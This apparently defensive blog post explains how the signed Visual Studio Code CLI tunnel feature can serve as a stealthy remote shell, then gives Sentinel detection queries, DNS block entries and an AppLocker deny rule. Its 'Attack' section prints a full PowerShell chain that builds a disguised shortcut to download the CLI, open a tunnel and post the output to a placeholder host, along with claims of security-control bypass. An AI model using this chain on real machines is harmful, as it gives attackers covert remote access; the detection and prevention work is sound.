Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add Environment Prevention — well more like ideas and concepts to prevent abuse and exploit

Truvis Thornton
5 min readSep 25, 2023

--

UPDATE: This story went viral on several news sites, and it looks like MS released GPO controls finally: https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/policies

One of the worst fears as a cybersecurity expert is detecting and preventing a signed reverse shell binary. Guess what? Microsoft gladly gave us one. We can relate this back to when nmap had something like this before they removed the feature. You could running CLI and execute commands from the binary. Fast forward, we still see applications providing this type of feature. This will not be the last time we see this.

Articles of interest:

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

What makes this bad is the fact that this tunnel can be triggered from the command line with the portable version of code.exe. An attacker just has to upload the binary, which won’t be detected by any anti-virus since it is legitimate and singed windows binary. If a VSCode is already installed, we can just stick to the installed version, doesn't matter.

Attack

If we get code execution on the client we can bring in the portable version of VSCode, the code CLI. If a VSCode is already installed, we can just stick to the installed version, doesn't matter. Just know that both options exist.

As the binary is signed from Microsoft, we do not need to take care of Mark-of-the-Web, as it will get ignored and also we will Bypass Smartscreen. If combined with some tricks seen later, we will also bypass Applocker and Powershell Constrained Language Mode if in default configuration.

C:\Users\kitten\Downloads\vscode_cli_win32_x64_cli (1)>.\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
To grant access to the server, please log into https://github.com/login/device and use code BD3D-134C
✔ What would you like to call this machine? · desktop-kafcprf
[2023-09-25 03:45:34] info Creating tunnel with the name: desktop-kafcprf

Open this link in your browser https://vscode.dev/tunnel/desktop-kafcprf/C:/Users/kitten/Downloads/vscode_cli_win32_x64_cli%20(1)

Not one alert went off. Very sneaky and this is a very nice and clean remote shell.

If you wanted, you could build out an attack chain:

$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$pay = 'cd C:\tmp; iwr -uri https://somecleanhostedsite/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","TNAME" -RedirectStandardOutput .\output.txt; Start-Sleep 3; iwr -uri URICONTENT -Method Post -Body (Get-Content .\output.txt)'
$arguments = " -nop -c $pay"
$LNKName = 123
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments = $arguments
$link.Save()

Detection

Because every environment and machine is different, your mileage may vary, especially as updates or changes happen, so take these ideas and expand and use them as you see fit.

Remember, logging also depends on auditing setting in your environment.

File Creation

IOC: File write of code_tunnel.json which is parametizable, but defaults to: %UserProfile%\.vscode-cli\code_tunnel.json
license_consent.json file could also be watched.

Building out detections for these files may be a good early warning sign.

Command Line

You could use a Sentinel script like the following as a quick and dirty way to get started.

SecurityEvent
| where EventID == "4688"
| where CommandLine contains "code.exe" and CommandLine contains "tunnel"

Downside, is that code could be renamed and not actually be used.

So depending on logging we may be able to detect the accept-server-license-terms option.

SecurityEvent
| where EventID == "4688"
| where CommandLine contains "--accept-server-license-terms" and CommandLine contains "tunnel"

Process Tree

IOC: Process tree: code.exe -> cmd.exe -> node.exe

SecurityEvent
| where EventID == "4688"
| where ParentProcessName == "code-tunnel.exe"
| where NewProcessName contains "cmd" or NewProcessName contains "powershell"

You could also try mixing in the CLI of node.exe along with other items you see being executed and based on what you see in your environment you may be able to finely filter in around that.

Prevention

DNS Blocking

This is probably the easiest to maintain and manage as it’s a central location and doesn’t require much reconfiguration especially if you have full control over DNS in your environment.

*.tunnels.api.visualstudio.com
*.devtunnels.ms

GPO

You can do this under Visual Studio but not currently with VSCode so control is limited, so no way currently to push configuration changes down.

AppLocker

This is a great application, but requires effort and work to maintain as hashes can change.

If you don’t know what AppLocker is a quick run down is that it’s a whitelisting technology. When enabled and configured, with default rules everything is blocked by default except for the executables and scripts defined in the preceding rules.

One quick way to block would be to use a template that denies based on hashes. While nice, it means you have to buildout AppLocker and maintain the policies and hashes.

<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FileHashRule Id="15b4ef38-5f18-484b-bc83-e03d24076a0d" Name="code.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0xAC60D7CA817ED4BEF562D07DEB4BE730413BD23B3ABFE0DFC78B1DDC866F85BA" SourceFileName="code.exe" SourceFileLength="16738736" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
</AppLockerPolicy>

While this makes for a good PoC and an idea to follow, your results may vary going down this path.

Conclusion

Hopefully this gives you some ideas on how to better protect and defend against this type of attack.

☕ Like what you read? Did it help you?

Send some coffee and love https://buymeacoffee.com/truvis :)
Your support helps pay for licenses, research & development, and other costs that allow me to bring you new guides and content!

❗If you are new to my content, be sure to follow/connect with me on all my other socials for new ideas and solutions to complicated real world problems and jump start your career! New content drops daily/weekly along with tips and tricks :)

👉 W: https://truv.is
👉 T: https://twitter.com/thattechkitten
👉 Y: https://www.youtube.com/@TRUValueInformationSecurity
👉 G: https://github.com/truvis
👉 L: https://www.linkedin.com/in/truvisthornton
👉 M: https://medium.com/@truvis.thornton

--

--

Truvis Thornton

🛡Cyber Defense Architect 🕵🏼‍♂️Threat Hunter/Researcher 👨🏻‍🔬Detection Engineer 👨🏻‍💻SIEM/SOAR/SOC 💡Follow for new ideas and solutions